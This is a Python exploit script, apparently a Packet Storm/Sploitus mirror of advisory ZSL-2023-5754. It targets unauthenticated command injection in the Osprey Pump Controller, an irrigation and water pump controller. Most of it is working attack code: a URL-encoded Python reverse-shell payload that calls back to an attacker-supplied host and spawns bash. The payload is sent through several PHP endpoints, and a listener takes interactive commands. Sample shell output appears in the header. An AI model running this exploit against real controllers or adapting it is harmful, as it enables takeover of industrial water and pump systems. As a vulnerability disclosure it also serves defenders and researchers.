Share
## https://sploitus.com/exploit?id=PACKETSTORM:171191
#!/usr/bin/env python  
#  
#  
# Osprey Pump Controller 1.0.1 Unauthenticated Remote Code Execution Exploit  
#  
#  
# Vendor: ProPump and Controls, Inc.  
# Product web page: https://www.propumpservice.com | https://www.pumpstationparts.com  
# Affected version: Software Build ID 20211018, Production 10/18/2021  
# Mirage App: MirageAppManager, Release [1.0.1]  
# Mirage Model 1, RetroBoard II  
#  
#  
# Summary: Providing pumping systems and automated controls for  
# golf courses and turf irrigation, municipal water and sewer,  
# biogas, agricultural, and industrial markets. Osprey: door-mounted,  
# irrigation and landscape pump controller.  
#  
# Technology hasn't changed dramatically on pump and electric motors  
# in the last 30 years. Pump station controls are a different story.  
# More than ever before, customers expect the smooth and efficient  
# operation of VFD control. Communicationsā€”monitoring, remote control,  
# and interfacing with irrigation computer programsā€”have become common  
# requirements. Fast and reliable accessibility through cell phones  
# has been a game changer.  
#  
# ProPump & Controls can handle any of your retrofit needs, from upgrading  
# an older relay logic system to a powerful modern PLC controller, to  
# converting your fixed speed or first generation VFD control system to  
# the latest control platform with communications capabilities.  
#  
# We use a variety of solutions, from MCI-Flowtronex and Watertronics  
# package panels to sophisticated SCADA systems capable of controlling  
# and monitoring networks of hundreds of pump stations, valves, tanks,  
# deep wells, or remote flow meters.  
#  
# User friendly system navigation allows quick and easy access to all  
# critical pump station information with no password protection unless  
# requested by the customer. Easy to understand control terminology allows  
# any qualified pump technician the ability to make basic changes without  
# support. Similar control and navigation platform compared to one of the  
# most recognized golf pump station control systems for the last twenty  
# years make it familiar to established golf service groups nationwide.  
# Reliable push button navigation and LCD information screen allows the  
# use of all existing control panel door switches to eliminate the common  
# problems associated with touchscreens.  
#  
# Global system configuration possibilities allow it to be adapted to  
# virtually any PLC or relay logic controlled pump stations being used in  
# the industrial, municipal, agricultural and golf markets that operate  
# variable or fixed speed. On board Wi-Fi and available cellular modem  
# option allows complete remote access.  
#  
# Desc: The controller suffers from an unauthenticated command injection  
# vulnerability that allows system access with www-data permissions.  
#  
# ----------------------------------------------------------------------  
# Triggering command injection...  
# Trying vector: /DataLogView.php  
# Operator...?  
# You got a call from 192.168.3.180:54508  
# www-data@OspreyController:/var/www/html$ id;pwd  
# uid=33(www-data) gid=33(www-data) groups=33(www-data)  
# /var/www/html  
# www-data@OspreyController:/var/www/html$ exit  
# Zya!  
# ----------------------------------------------------------------------  
#  
# Tested on: Apache/2.4.25 (Raspbian)  
# Raspbian GNU/Linux 9 (stretch)  
# GNU/Linux 4.14.79-v7+ (armv7l)  
# Python 2.7.13 [GCC 6.3.0 20170516]  
# GNU gdb (Raspbian 7.12-6) 7.12.0.20161007-git  
# PHP 7.0.33-0+deb9u1 (Zend Engine v3.0.0 with Zend OPcache v7.0.33)  
#  
#  
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
# Macedonian Information Security Research and Development Laboratory  
# Zero Science Lab - https://www.zeroscience.mk - @zeroscience  
#  
#  
# Advisory ID: ZSL-2023-5754  
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5754.php  
#  
#  
# 05.01.2023  
#  
  
  
# o o  
# O O  
# o o  
# o o  
#_____________________\ /  
# ||  
# ||  
# ||  
from time import sleep  
import pygame.midi #---#  
import subprocess #---#  
import threading #-----#  
import telnetlib #-----#  
import requests #-------#  
import socket #-----------#  
import pygame #-----------#  
import random #-----------#  
import sys #---------------#  
import re #-----------------#  
###### # #-----------------#  
  
  
class Pump__it__up:  
  
def __init__(self):  
self.sound=False  
self.param="eventFileSelected"  
self.vector=["/DataLogView.php?"+self.param,  
"/AlarmsView.php?"+self.param,  
"/EventsView.php?"+self.param,  
"/index.php"] # POST  
self.payload=None  
self.sagent="Tic"  
self.rhost=None  
self.lhost=None  
self.lport=None  
  
def propo(self):  
if len(sys.argv)!=4:  
self.kako()  
else:  
self.presh()  
self.rhost=sys.argv[1]  
self.lhost=sys.argv[2]  
self.lport=int(sys.argv[3])  
if not "http" in self.rhost:  
self.rhost="http://{}".format(self.rhost)  
  
def kako(self):  
self.pumpaj()  
print("Ovakoj: python {} [RHOST:RPORT] [LHOST] [LPORT]".format(sys.argv[0]))  
exit(0)  
  
def pumpaj(self):  
titl="""  
.-.  
| \\  
| / \\  
,___| | \\  
/ ___( ) L  
'-` | | |  
| | F  
| | /  
| |  
| |  
____|_|____  
[___________]  
,,,,,/,,,,,,,,,,,,,\\,,,,,  
o-------------------------------------o  
Osprey Pump Controller RCE Rev Shel_  
v1.0j  
Ref: ZSL-2023-5754  
by lqwrm, 2023  
o-------------------------------------o  
"""  
print(titl)  
  
def injekcija(self):  
self.headers={"Accept":"*/*",  
"Connection":"close",  
"User-Agent":self.sagent,  
"Cache-Control":"max-age=0",   
"Accept-Encoding":"gzip,deflate",  
"Accept-Language":"en-US,en;q=0.9"}  
  
self.payload =";"######################################################"  
self.payload+="/usr/bin/python%20-c%20%27import%20socket,subprocess,os;"  
self.payload+="s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.con"  
self.payload+="nect((%22"+self.lhost+"%22,"+str(self.lport)+"));os.dup2"  
self.payload+="(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),"  
self.payload+="2);import%20pty;%20pty.spawn(%22/bin/bash%22)%27"#######"  
  
print("Triggering command injection...")  
  
for url in self.vector:  
if url=="/index.php":  
print("Trying vector:",url)  
import urllib.parse  
self.headers["Content-Type"]="application/x-www-form-urlencoded"  
self.postdata={"userName":urllib.parse.unquote(self.payload),  
"pseudonym":"251"}  
r=requests.post(self.rhost+url,headers=self.headers,data=self.postdata)  
if r.status_code == 200:  
break  
else:  
print("Trying vector:",url[:-18])  
r=requests.get(self.rhost+url+"="+self.payload,headers=self.headers)  
print("Code:",r.status_code)  
if r.status_code == 200:  
print('Access Granted!')  
break  
  
def netcat(self):  
import nclib  
server = nclib.TCPServer(("0.0.0.0",int(self.lport)))  
print("Operator...?")  
server.sock.settimeout(7)  
for client in server:  
print("You got a call from %s:%d" % client.peer)  
command=""  
while command!="exit":  
if len(command)>0:  
if command in client.readln().decode("utf-8").strip(" "):  
pass  
data = client.read_until('$')  
print(data.decode("utf-8"), end="")  
command = input(" ")  
client.writeln(command)  
print("Zya!")  
exit(1)  
  
def rasplet(self):  
if self.sound:  
konac1=threading.Thread(name="Pump_Up_The_Jam_1",target=self.entertain)  
konac1.start()  
konac2=threading.Thread(name="Pump_Up_The_Jam_2",target=self.netcat)  
konac2.start()  
self.injekcija()  
  
def presh(self):  
titl2="""  
_______________________________________  
/ \\  
| {###################################} |  
| {## Osprey Pump Controller ##} |  
| {## RCE 0day ##} |  
| {## ##} |  
| {## ZSL-2023-5754 ##} |  
| {###################################} |  
| |  
| 80 90 100 |  
| 70 ^ 120 |  
| 60 * /|\ * 140 |  
| 55 | 160 |  
| | |  
| | |  
| (O) (+) (O) |  
\_______________________________________/  
"""  
print(titl2)  
  
def entertain(self):  
  
pygame.midi.init()  
midi_output=pygame.midi.Output(0)  
  
notes=[  
(74,251),(86,251),(76,251),(88,251),(84,251),(72,251),(69,251),(81,251),  
(83,251),(71,251),(67,251),(79,251),(74,251),(62,251),(64,251),(76,251),  
(72,251),(60,251),(69,251),(57,251),(59,251),(71,251),(55,251),(67,251),  
(62,251),(50,251),(64,251),(52,251),(48,251),(60,251),(57,251),(45,251),  
(47,251),(59,251),(45,251),(57,251),(56,251),(44,251),(43,251),(55,251),  
(67,251),(43,251),(55,251),(79,251),(71,251),(74,251),(55,251),(59,251),  
(62,251),(63,251),(48,251),(64,251),(72,251),(52,251),(55,251),(60,251),  
(64,251),(43,251),(55,251),(72,251),(60,251),(64,251),(55,251),(58,251),  
(72,251),(41,251),(53,251),(60,251),(57,251),(52,251),(40,251),(72,251),  
(76,251),(84,251),(55,251),(60,251),(77,251),(86,251),(74,251),(75,251),  
(78,251),(87,251),(79,251),(43,251),(76,251),(88,251),(72,251),(84,251),  
(76,251),(60,251),(55,251),(86,251),(74,251),(77,251),(52,251),(88,251),  
(79,251),(76,251),(43,251),(83,251),(74,251),(71,251),(86,251),(74,251),  
(77,251),(59,251),(53,251),(55,251),(76,251),(84,251),(48,251),(72,251),  
(52,251),(55,251),(60,251),(52,251),(55,251),(60,251),(55,251),(59,251),  
(62,251),(63,251),(64,251),(48,251),(72,251),(60,251),(52,251),(55,251),  
(64,251),(43,251),(55,251),(72,251),(64,251),(55,251),(58,251),(60,251),  
(72,251),(41,251),(53,251),(60,251),(57,251),(40,251),(52,251),(72,251),  
(51,251),(81,251),(39,251),(69,251),(67,251),(79,251),(72,251),(38,251),  
(50,251),(78,251),(66,251),(72,251),(69,251),(81,251),(50,251),(72,251),  
(54,251),(57,251),(84,251),(60,251),(76,251),(88,251),(50,251),(74,251),  
(86,251),(84,251),(54,251),(57,251),(60,251),(72,251),(69,251),(81,251)]  
  
channel=0  
velocity=124  
  
for note, duration in notes:  
midi_output.note_on(note, velocity, channel)  
duration=59  
pygame.time.wait(random.randint(100,301))  
pygame.time.wait(duration)  
midi_output.note_off(note, velocity, channel)  
  
del midi_output  
pygame.midi.quit()  
  
def main(self):  
self.propo()  
self.rasplet()  
exit(1)  
  
if __name__=='__main__':  
Pump__it__up().main()